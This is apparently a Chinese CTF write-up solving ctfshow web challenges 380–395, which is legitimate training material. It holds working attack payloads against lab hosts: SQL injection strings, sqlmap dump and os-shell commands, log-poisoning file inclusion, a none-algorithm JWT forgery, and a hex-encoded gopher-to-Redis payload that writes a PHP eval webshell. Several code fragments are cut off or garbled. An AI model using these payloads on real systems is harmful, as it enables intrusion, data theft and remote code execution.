这两天刷了下ctfshow-web入门的黑盒测试题目,下面是wp
[toc]
web 380 (目录扫描)
后台目录扫描发现page.php
payload: page.php?id=flag
web 381 (css路径)
查看源码,发现一个奇怪的路径
访问/alsckdfy/即可获得flag
web 382 (万能密码/爆破/sqlmap)
解法一:
后台万能密码登录 /alsckdfy/
admin 'or ‘1’=‘1’#
登录即可拿到flag
解法二:
爆破常用用户名密码
得到admin/admin888
解法三:
sqlmap
python sqlmap.py -l "1.txt" -p p -D ctfshow -T admin_user -C password --dump
web 383 (万能密码/爆破/sqlmap)
同 382
web 384 (爆破)
根据提示
密码前2位是小写字母,后三位是数字
直接后台 /alsckdfy/ 抓包爆破,账号为amdin,得到密码为xy123
web 385 (配置文件利用)
目录扫描,得到install
访问install/?install重置默认密码(admin888),登入即可
web 386 (配置文件利用)
目录扫描得到如下
/install/
/clear.php
/install/
接下去就是和web385一样的流程了
web 387 (日志文件包含)
hint:前面部分和386一样
/install/
clear.php
但是发现这题无法删除lock.dat
随手一个robots.txt
得到个目录/debug
相似的套路,传个参数file
成功,接下去就是想办法读flag了
读日志试下 (关于日志文件包含可以参考我之前的文章 日志文件包含)
1 | user-agent:'/var/www/html/install/lock.dat') unlink( |
删除安装文件
接下去的流程就和web385一样了
web 388 (CVE-2017-1002024/免杀马)
扫到一个目录
/alsckdfy/editor/
是个kindeditor的编辑器,看下版本是4.1.11
百度查下相应漏洞 CVE-2017-1002024
发现只允许上传如上格式文件
1 |
|
上传一个txt文件,内容如上
上传成功
- 通过
/debug/?file=
参数传给日志文件
1 | /debug/?file=/var/www/html/alsckdfy/attached/file/20211012/20211012073242_61370.txt |
- 访问日志文件。执行一句话
1 | /debug/?file=/var/log/nginx/access.log |
不需要显示
- 访问
1.php
,包含成功执行rce
查看源码即可得到flag
web 389 (session伪造/jwt/日志文件包含)
访问debug 权限不足
结合权限相问题,考虑到session存在问题,看到eyjh开头,条件反射想到jwt
关于jwt攻击,可以看我之前写的文章 jwt攻击学习
可以看到用户为user,我们要将其修改为admin,首先爆破secret,但是发现爆破不出来,尝试用空加密算法
1 | import jwt |
替换下cookie,成功得到权限
接下去的流程就和web389一样了
上传文件 —> debug?file 写入日志 —> 访问日志文件 —> getshell
web 390 (sql注入)
sql注入
python sqlmap.py -u “http://726cd839-3d5c-4092-b0ae-d4753b7b5ef9.challenge.ctf.show:8080/page.php?id=1" –os-shell
web 391 (sql注入)
还是sql注入
注入点在title搜索框
python sqlmap.py -u “http://b6943d5d-2d10-4394-bdce-9f34e0f3d616.challenge.ctf.show:8080/search.php?title=1" –os-shell
web 392 (sql注入)
和上题一样,title存在注入点
flag在根目录
web 393 (堆叠注入)
相比前面的题,该题多了个搜索引擎
访问百度,显示的就是百度的页面,尝试搜索,但是并不会跳转正常的百度搜索结果出来,那么可以猜测这个是从数据库中调用出来的
注入点还是在title,但是不能用 –os-shell
python sqlmap.py -u “http://4d5922c6-6877-4708-984c-740bb5c577d3.challenge.ctf.show:8080/search.php?title=q" -D “ctfshow” –tables –dump
python sqlmap.py -u “http://4d5922c6-6877-4708-984c-740bb5c577d3.challenge.ctf.show:8080/search.php?title=q" -D “ctfshow” -T “link” –columns –dump
这里有个url,结合前面的搜索引擎,思路是将这里的url修改为file:///flag
?title=aa’;update link set url=’file:///flag’;select 1,2,’a
之后随便访问个搜索引擎,就会显示flag
web 394 (堆叠注入)
和上题一样, title处存在sql注入
也存在一个link表,表里有个url列名
原理和上题一样,不过在这题使用十六进制编码绕过
?title=aa’;update link set url=0x66696C653A2F2F2F7661722F7777772F68746D6C2F616C73636B6466792F636865636B2E706870;select 1,2,’a
之后随便访问个搜索引擎查看源代码
web 395 (堆叠注入/redis)
和上题一样
?title=aa’;update link set url=0x66696C653A2F2F2F7661722F7777772F68746D6C2F616C73636B6466792F636865636B2E706870;select 1,2,’a
看了羽师傅的wp发现还有一种解法就是攻击redis服务
题中url字段默认长度最长为255,我们首先需要修改这个默认长度
search.php?title=1’;alter table link modify column url text;
然后就是通过gopher生成攻击payload
hex编码后,payload如下
1 | search.php?title=1';insert into link values(6,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323433302530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542636d642535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234392530442530417368656c6c2e706870253044253041253241312530442530412532343425304425304173617665253044253041253041); |
payload打过去之后,访问/linp.php?id=6 ,就会在网站根目录生成shell.php